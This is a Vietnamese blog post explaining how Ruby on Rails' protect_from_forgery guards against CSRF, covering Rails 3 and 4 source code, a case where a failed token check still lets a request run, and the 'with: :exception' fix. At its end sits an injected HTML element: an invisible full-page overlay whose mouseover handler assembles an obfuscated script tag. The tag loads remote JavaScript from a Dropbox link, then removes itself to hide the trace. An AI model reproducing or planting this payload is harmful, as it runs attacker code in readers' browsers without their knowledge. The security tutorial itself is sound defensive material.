Tìm hiểu hàm protect_from_forgery trong Ruby on Rails

Xin chào tất cả các bạn!. Trong bài viết này, mình muốn chia sẻ với các bạn cách thức mà một ứng dụng Rails chống lại tấn công CSRF bằng phương thức protect_from_forgery qua bài dịch từ website:

I. CSRF là gì?

CSRF ( Cross Site Request Forgery) là kĩ thuật tấn công bằng cách sử dụng quyền chứng thực của người sử dụng đối với 1 website khác. Các ứng dụng web hoạt động theo cơ chế nhận các câu lệnh HTTP từ người sử dụng, sau đó thực thi các câu lệnh này.

Hacker sử dụng phương pháp CSRF để lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng dụng web. Trong trường hợp phiên làm việc của người dùng chưa hết hiệu lực thì các câu lệnh trên sẽ dc thực hiện với quyền chứng thực của người sử dụng.

Chi tiết hơn về tấn công CSRF, các bạn có thể tham khảo ở đây:.

Để chống lại các cuộc tấn công kiểu CSRF, Rails đã xây dựng một cơ chế phòng thủ, đó chính là protect_from_forgery. Trong ứng dụng ROR, nó được thêm vào mặc định trong file application_controller.rb khi bạn tạo mới một ứng dụng. Hàm protect_from_forgery chính là "ma thuật" mà Rails tạo ra để bảo vệ ứng dụng của bạn khỏi các hacker.

II. Phân tích hàm protect_from_forgery trong Rails 3

Rails sinh ra một tokens ngẫu nhiên được mã hóa, token này được gán với 1 phiên làm việc của người dùng. Trong mỗi form, một trường hidden tên là authenticity_token được chèn vào. Trường này chứa token được sinh ra bên trên.

Sau khi form được submit và gửi qua phương thức POST (chỉ với phương thức POST thôi nhé!), sever sẽ so sánh giá trị authenticity_token với giá trị đã được sinh ra theo phiên làm việc của người dùng, nếu 2 giá trị không khớp nhau thì nhiều khả năng request này được gửi bởi hacker và request sẽ bị chặn lại bởi hàm protect_from_forgery.

Trước khi tìm hiểu sâu hơn, tôi sẽ chia sẻ với các bạn đánh giá mới đây của tôi. Tôi đã thử test ứng dụng Rails với Brakeman(http://brakemanscanner.org/), để tìm kiếm các lỗ hỏng, và kết quả là brakeman không phát hiện lỗ hổng CSRF nào cả!. Tuy nhiên, trong quá trình chạy, tôi phát hiện ra rằng, thực tế ứng dụng vẫn có lỗ hổng CSRF!.

Tôi dành thời gian để xem log, Rails hiển thị các message thông báo token không khớp ( ActionController:InvalidAuthenticyToken), nhưng request vẫn được xử lý. Tại sao lại thế?

Để trả lời câu hỏi này, tôi tìm hiểu sâu hơn vào source của ActionController (code của ActionController 3.2.19). Khi chúng ta gọi protect_from_forgery, chúng ta phải tạo ra before_filter, và hàm này sẽ gọi verify_authenticity_token.

def protect_from_forgery(options = {})
    self.request_forgery_protection_token ||= :authenticity_token
    prepend_before_filter :verify_authenticity_token, options
end

def verify_authenticity_token
    unless verified_request?
      logger.warn "WARNING: Can't verify CSRF token authenticity" if logger
      handle_unverified_request
    end
end

Hàm verify_authenticity_token kiểm tra request xác thực với hàm verified_request?, nếu xác thực token thất bại, nó sẽ trả về cảnh báo "Can't verify CSRF token authenticity" như chúng ta đã thấy, và gọi hàm handle_unverified_request

def handle_unverified_request
  reset_session
end

def verified_request?
    !protect_against_forgery? || request.get? ||
      form_authenticity_token == params[request_forgery_protection_token] ||
      form_authenticity_token == request.headers['X-CSRF-Token']
end

Thực chất hàm verified_request? so sánh authenticity_token lưu trong session[:_csrf_token] với X-CSRF-Token của HTTP header. Nếu không khớp, nó gọi hàm handle_unverified_request, và session sẽ bị reset do hàm reset_session của ActionDispatch_reset_session Helper. Tuy nhiên, request vẫn tiếp tục được xử lý mà không có session. Có vẻ rất rõ ràng đúng không? Bằng việc destroy session, chúng ta khiến cho request được xử lý như những người dùng chưa đăng nhập. Tóm tắt flow của Rails protect_from_forgery như sau:

flow_of_protect_from_forgery.png

Sau khi kiểm tra thêm, lỗi sẽ xuất hiện nếu ứng dụng tôi dùng để test sử dụng cookies đã lưu để sinh session, vì giá trị này không được lưu trong session helper nên không bị xóa bởi hàm reset_session, và như thế là request vẫn thực hiện mặc dù verified_request? đã trả về false.

Vậy chúng ta sẽ bảo vệ ứng dụng như thế nào?

Chúng ta sẽ ghi đè (override) hàm handle_unverified_request trong application controller, khi so token không khớp, ta sẽ ném ra ngoại lệ và ngăn cản được việc request vẫn thực hiện.


class ApplicationController < ActionController::Base
  protect_from_forgery

  # Overload handle_unverified_request to ensure that
  # exception is raised each time a request does not
  # pass validation.
  def handle_unverified_request
    raise(ActionController::InvalidAuthenticityToken)
  end
end

III.Thay đổi trong rails 4

Trong Rails 4 chúng ta có 1 chút thay đổi trong hàm protect_from_forgery protect_from_forgery_rails_4.png

Hàm handle_unverified_request đã được viết lại, nó gọi ProtectionMethods để xóa session data, flash infomartion và liên kết với cookies với mỗi request fails verification, nhưng cũng giống với rails 3, request vẫn được hoàn thành. Trong 1 số trường hợp, điều này có thể gây ra vấn đề.

Xem xét ví dụ sau:


class ApplicationController < ActionController::Base
  protect_from_forgery

  # Overload handle_unverified_request to ensure that
  # exception is raised each time a request does not
  # pass validation.
  def handle_unverified_request
    raise(ActionController::InvalidAuthenticityToken)
  end
end

class AccountController < ApplicationController
  def transfer_funds
    Funds.transfer(params[:source_account], params[:destination_account], params[:quantity])
  end
end

Hàm chuyển tiền nhận tham số trực tiếp từ input của người dùng, thay vì từ session, vì thế nó vẫn được thực hiện ngay cả khi verified_request? trả về false. Đây là 1 kẽ hở của hàm handle_unverified_request trong Rails 4, vì ví dụ trên sử dụng user parameters, request sinh ra cảnh báo authenticity_token nhưng vẫn thực hiện request. Đây chắc chắn là một lỗ hổng bảo mật. Chúng ta có thể chống lại bằng cách sinh ra ngoại lệ khi check verified_request fail. Ta truyền thêm tham số vào hàm protect_from_forgery

class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception
end

Bằng cách này, chúng ta đảm bảo rằng request sẽ fail và hàm transfer_funds sẽ không được thực thi.

IV. Tổng kết

CSRF là lỗ hổng rất nghiêm trọng và phổ biến. Trong Rails, hàm protect_from_forgery giúp bảo vệ ứng dụng khỏi lỗ hổng này. Tuy nhiên, nó không thể bảo vệ một cách hoàn toàn. Như chúng ta thấy, vẫn có những trường hợp có lỗ hổng ngoài tầm kiểm soát, vì vậy hiểu rõ cách hoạt động của các phương thức bảo mật như protect_from_forgery sẽ giúp chúng ta phòng tránh các cuộc tấn công ngoài ý muốn.

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">

All Rights Reserved